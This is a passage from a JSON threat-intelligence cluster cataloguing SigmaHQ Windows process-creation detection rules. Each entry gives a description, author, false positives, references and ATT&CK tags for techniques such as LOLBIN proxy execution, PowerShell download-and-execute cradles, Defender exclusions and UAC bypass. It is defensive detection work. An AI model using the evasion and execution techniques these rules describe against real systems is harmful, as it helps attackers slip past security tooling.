"filename": "proc_creation_win_double_ext_parent.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/7872d8845a332dce517adae9c3389fde5313ff2fed38c2577f3b498da786db68/behavior", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_double_ext_parent.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.007" ] }, "related": [ { "dest-uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5e6a80c8-2d45-4633-9ef4-fa2671a39c5c", "value": "Suspicious Double File Extention in ParentCommandLine" }, { "description": "This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n", "meta": { "author": "Agro (@agro_sev) oscd.community", "creation_date": "2020/10/10", "falsepositive": [ "Direct PS command execution through SQLPS.exe is uncommon, childprocess sqlps.exe spawned by sqlagent.exe is a legitimate action." ], "filename": "proc_creation_win_susp_use_of_sqlps_bin.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/bryon_/status/975835709587075072", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/", "https://docs.microsoft.com/en-us/sql/tools/sqlps-utility?view=sql-server-ver15", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqlps_bin.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.defense_evasion", "attack.t1127" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0152550d-3a26-4efd-9f0e-54a0b28ae2f3", "value": "Detection of PowerShell Execution via Sqlps.exe" }, { "description": "Detection of unusual child processes by different system processes", "meta": { "author": "Semanur Guneysu @semanurtg, oscd.community", "creation_date": "2020/10/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_abusing_debug_privilege.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-74-638.jpg", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_abusing_debug_privilege.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1548" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d522eca2-2973-4391-a3e0-ef0374321dae", "value": "Abused Debug Privilege by Arbitrary Parent Processes" }, { "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_invoke_obfuscation_via_use_clip.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_clip.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e1561947-b4e3-4a74-9bdd-83baed21bdb5", "value": "Invoke-Obfuscation Via Use Clip" }, { "description": "Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/19", "falsepositive": [ "Legitimate usage of the script. Always investigate what's being registered to confirm if it's benign" ], "filename": "proc_creation_win_lolbin_register_app.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_register_app.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1c8774a0-44d4-4db0-91f8-e792359c70bd", "value": "REGISTER_APP.VBS Proxy Execution" }, { "description": "Detects a service binary running in a suspicious directory", "meta": { "author": "Florian Roth", "creation_date": "2021/03/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_service_dir.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dir.yml" ], "tags": [ "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "883faa95-175a-4e22-8181-e5761aeb373c", "value": "Suspicious Service Binary Directory" }, { "description": "Detects renamed vmnat.exe or portable version that can be used for DLL side-loading", "meta": { "author": "elhoim", "creation_date": "2022/09/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_renamed_vmnat.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/malmoeb/status/1525901219247845376", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_vmnat.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "7b4f794b-590a-4ad4-ba18-7964a2832205", "value": "Renamed or Portable Vmnat.exe" }, { "description": "Detects the use of tools created by a well-known hacktool producer named Cube0x0, which includes his handle in all binaries as company information in the PE headers (SharpPrintNightmare, KrbRelay, SharpMapExec etc.)", "meta": { "author": "Florian Roth", "creation_date": "2022/04/27", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_hack_cube0x0_tools.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/cube0x0", "https://www.virustotal.com/gui/search/metadata%253ACube0x0/files", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_cube0x0_tools.yml" ], "tags": "No established tags" }, "uuid": "37c1333a-a0db-48be-b64b-7393b2386e3b", "value": "Hacktool by Cube0x0" }, { "description": "Detects Trickbot malware process tree pattern in which rundll32.exe is parent of wermgr.exe", "meta": { "author": "Florian Roth", "creation_date": "2020/11/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_malware_trickbot_wermgr.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_wermgr.yml" ], "tags": [ "attack.execution", "attack.t1559" ] }, "related": [ { "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "58bf96d9-ff5f-44bd-8dcc-1c4f79bf3a27", "value": "Trickbot Malware Activity" }, { "description": "Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft “Roslyn” Community Technology Preview was named 'rcsi.exe'", "meta": { "author": "Konstantin Grishchenko, oscd.community", "creation_date": "2020/10/17", "falsepositive": [ "Legitimate usage by software developers" ], "filename": "proc_creation_win_susp_csi.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", "https://twitter.com/Z3Jpa29z/status/1317545798981324801", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/", "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csi.yml" ], "tags": [ "attack.execution", "attack.t1072", "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "40b95d31-1afc-469e-8d34-9a3a667d058e", "value": "Suspicious Csi.exe Usage" }, { "description": "Detects suspicious powershell invocations from interpreters or unusual programs", "meta": { "author": "Florian Roth", "creation_date": "2019/01/16", "falsepositive": [ "Microsoft Operations Manager (MOM)", "Other scripts" ], "filename": "proc_creation_win_susp_powershell_script_engine_parent_.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.securitynewspaper.com/2017/03/20/attackers-leverage-excel-powershell-dns-latest-non-malware-attack/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_script_engine_parent_.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "95eadcb2-92e4-4ed1-9031-92547773a6db", "value": "Suspicious PowerShell Invocation From Script Engines" }, { "description": "Detects the execution of a renamed ProcDump executable often used by attackers or malware", "meta": { "author": "Florian Roth", "creation_date": "2019/11/18", "falsepositive": [ "Procdump illegaly bundled with legitimate software", "Administrators who rename binaries (should be investigated)" ], "filename": "proc_creation_win_renamed_procdump.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/procdump", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_procdump.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4a0b2c7e-7cb2-495d-8b63-5f268e7bfd67", "value": "Renamed ProcDump Execution" }, { "description": "Detects LOLBINs executing from an abnormal drive such as a mounted ISO.", "meta": { "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", "creation_date": "2022/01/25", "falsepositive": [ "Rare false positives could occur on servers with multiple drives." ], "filename": "proc_creation_win_lolbin_not_from_c_drive.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.scythe.io/library/threat-emulation-qakbot", "https://thedfirreport.com/2021/12/13/diavol-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_not_from_c_drive.yml" ], "tags": [ "attack.t1218.001" ] }, "related": [ { "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d4ca7c59-e9e4-42d8-bf57-91a776efcb87", "value": "LOLBIN From Abnormal Drive" }, { "description": "Detects execition of commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This can be used as a LOLBIN in order to bypass application whitelisting.", "meta": { "author": "Nasreddine Bencherchali, E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", "creation_date": "2022/06/14", "falsepositive": [ "Legitimate use by a via a batch script or by an administrator." ], "filename": "proc_creation_win_lolbin_pcalua.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Pcalua/", "https://pentestlab.blog/2020/07/06/indirect-command-execution/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0955e4e1-c281-4fb9-9ee1-5ee7b4b754d2", "value": "Use of Pcalua For Execution" }, { "description": "Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity", "meta": { "author": "Florian Roth, Nasreddine Bencherchali", "creation_date": "2022/01/24", "falsepositive": [ "Legitimate use by administrators" ], "filename": "proc_creation_win_tool_nircmd.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.nirsoft.net/utils/nircmd.html", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", "https://www.nirsoft.net/utils/nircmd2.html#using", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nircmd.yml" ], "tags": [ "attack.execution", "attack.t1569.002", "attack.s0029" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4e2ed651-1906-4a59-a78a-18220fca1b22", "value": "NirCmd Tool Execution" }, { "description": "Detects suspicious ways to download files or content and execute them using PowerShell Invoke-Expression", "meta": { "author": "Florian Roth", "creation_date": "2022/03/24", "falsepositive": [ "Scripts or tools that download files and execute them" ], "filename": "proc_creation_win_susp_powershell_download_iex.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_iex.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "85b0b087-eddf-4a2b-b033-d771fa2b9775", "value": "PowerShell Web Download and Execution" }, { "description": "Use of hostname to get information", "meta": { "author": "frack113", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_hostname.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/hostname", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-6---hostname-discovery-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hostname.yml" ], "tags": [ "attack.discovery", "attack.t1082" ] }, "uuid": "7be5fb68-f9ef-476d-8b51-0256ebece19e", "value": "Suspicious Execution of Hostname" }, { "description": "Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)", "meta": { "author": "Nik Seetharaman, Christian Burkard", "creation_date": "2019/07/31", "falsepositive": [ "Legitimate CMSTP use (unlikely in modern enterprise environments)" ], "filename": "proc_creation_win_cmstp_com_object_access.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/hFireF0X/status/897640081053364225", "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_com_object_access.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002", "attack.t1218.003", "attack.g0069", "car.2019-04-001" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4b60e6f2-bf39-47b4-b4ea-398e33cfe253", "value": "CMSTP UAC Bypass via COM Object Access" }, { "description": "Detects using SettingSyncHost.exe to run hijacked binary", "meta": { "author": "Anton Kutepov, oscd.community", "creation_date": "2020/02/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_settingsynchost.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.hexacorn.com/blog/2020/02/02/settingsynchost-exe-as-a-lolbin", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_settingsynchost.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1574.008" ] }, "uuid": "b2ddd389-f676-4ac4-845a-e00781a48e5f", "value": "Using SettingSyncHost.exe as LOLBin" }, { "description": "Detects suspicious parent processes that should not have any children or should only have a single possible child program", "meta": { "author": "Florian Roth", "creation_date": "2022/03/21", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_parents.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/x86matthew/status/1505476263464607744?s=12", "https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parents.yml" ], "tags": "No established tags" }, "uuid": "cbec226f-63d9-4eca-9f52-dfb6652f24df", "value": "Suspicious Process Parents" }, { "description": "Detect various execution methods of the CrackMapExec pentesting framework", "meta": { "author": "Thomas Patzke", "creation_date": "2020/05/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_crackmapexec_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/byt3bl33d3r/CrackMapExec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_execution.yml" ], "tags": [ "attack.execution", "attack.t1047", "attack.t1053", "attack.t1059.003", "attack.t1059.001", "attack.s0106" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "058f4380-962d-40a5-afce-50207d36d7e2", "value": "CrackMapExec Command Execution" }, { "description": "Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets", "meta": { "author": "Florian Roth", "creation_date": "2021/04/29", "falsepositive": [ "Possible Admin Activity", "Other Cmdlets that may use the same parameters" ], "filename": "proc_creation_win_powershell_defender_exclusion.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_exclusion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "17769c90-230e-488b-a463-e05c08e9d48f", "value": "Powershell Defender Exclusion" }, { "description": "Detects suspicious calls of DLLs in rundll32.dll exports by ordinal", "meta": { "author": "Florian Roth", "creation_date": "2019/10/22", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment", "Windows control panel elements have been identified as source (mmc)" ], "filename": "proc_creation_win_susp_rundll32_by_ordinal.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/", "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", "https://twitter.com/cyb3rops/status/1186631731543236608", "https://github.com/Neo23x0/DLLRunner", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_by_ordinal.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e79a9e79-eb72-4e78-a628-0e7e8f59e89c", "value": "Suspicious Call by Ordinal" }, { "description": "Detects EmpireMonkey APT reported Activity", "meta": { "author": "Markus Neis", "creation_date": "2019/04/02", "falsepositive": [ "Very Unlikely" ], "filename": "proc_creation_win_apt_empiremonkey.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/a4107649-8cb0-41af-ad75-113152d4d57b", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_empiremonkey.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.010" ] }, "related": [ { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "10152a7b-b566-438f-a33c-390b607d1c8d", "value": "Empire Monkey" }, { "description": "Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report", "meta": { "author": "Florian Roth", "creation_date": "2017/10/22", "falsepositive": [ "Renamed SysInternals tool" ], "filename": "proc_creation_win_apt_ta17_293a_ps.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.us-cert.gov/ncas/alerts/TA17-293A", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ta17_293a_ps.yml" ], "tags": [ "attack.defense_evasion", "attack.g0035", "attack.t1036.003", "car.2013-05-009" ] }, "related": [ { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "18da1007-3f26-470f-875d-f77faf1cab31", "value": "Ps.exe Renamed SysInternals Tool" }, { "description": "Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/11/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_kavremover.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_kavremover.yml" ], "tags": [ "attack.defense_evasion", "attack.t1127" ] }, "related": [ { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d047726b-c71c-4048-a99b-2e2f50dc107d", "value": "Kavremover Dropped Binary LOLBIN Usage" }, { "description": "Detects MsiExec loading a DLL and calling its DllUnregisterServer function", "meta": { "author": "frack113", "creation_date": "2022/04/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_msiexec_dll.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/_st0pp3r_/status/1583914515996897281", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_dll.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.007" ] }, "related": [ { "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "84f52741-8834-4a8c-a413-2eb2269aa6c8", "value": "Suspicious Msiexec Load DLL" }, { "description": "Detects execution of powershell scripts via Runscripthelper.exe", "meta": { "author": "Victor Sergeev, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_runscripthelper.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Runscripthelper/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_runscripthelper.yml" ], "tags": [ "attack.execution", "attack.t1059", "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "eca49c87-8a75-4f13-9c73-a5a29e845f03", "value": "Suspicious Runscripthelper.exe" }, { "description": "Detects the use of a Microsoft signed script to execute commands", "meta": { "author": "oscd.community, Natalia Shornikova, frack113", "creation_date": "2022/05/21", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_cl_mutexverifiers.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_mutexverifiers.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1e0e1a81-e79b-44bc-935b-ddb9c8006b3d", "value": "CL_Mutexverifiers.ps1 Proxy Execution" }, { "description": "Detects a certain command line flag combination used by devinit.exe lolbin to download arbitrary MSI packages on a Windows system", "meta": { "author": "Florian Roth", "creation_date": "2022/01/11", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_devinit_lolbin.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mrd0x/status/1460815932402679809", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_devinit_lolbin.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "90d50722-0483-4065-8e35-57efaadd354d", "value": "DevInit Lolbin Download" }, { "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files", "meta": { "author": "frack113", "creation_date": "2021/07/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_remove_windows_defender_definition_files.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remove_windows_defender_definition_files.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "9719a8aa-401c-41af-8108-ced7ec9cd75c", "value": "Remove Windows Defender Definition Files" }, { "description": "Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM", "meta": { "author": "Florian Roth, Maxime Thiebaut", "creation_date": "2021/08/23", "falsepositive": [ "User selecting a different installation folder (check for other sub processes of this explorer.exe process)" ], "filename": "proc_creation_win_susp_razorinstaller_explorer.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/j0nh4t/status/1429049506021138437", "https://streamable.com/q2dsji", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_razorinstaller_explorer.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1553" ] }, "related": [ { "dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a4eaf250-7dc1-4842-862a-5e71cd59a167", "value": "Suspicious RazerInstaller Explorer Subprocess" }, { "description": "Detects a base64 encoded IEX command string in a process command line", "meta": { "author": "Florian Roth", "creation_date": "2019/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_encoded_iex.yml", 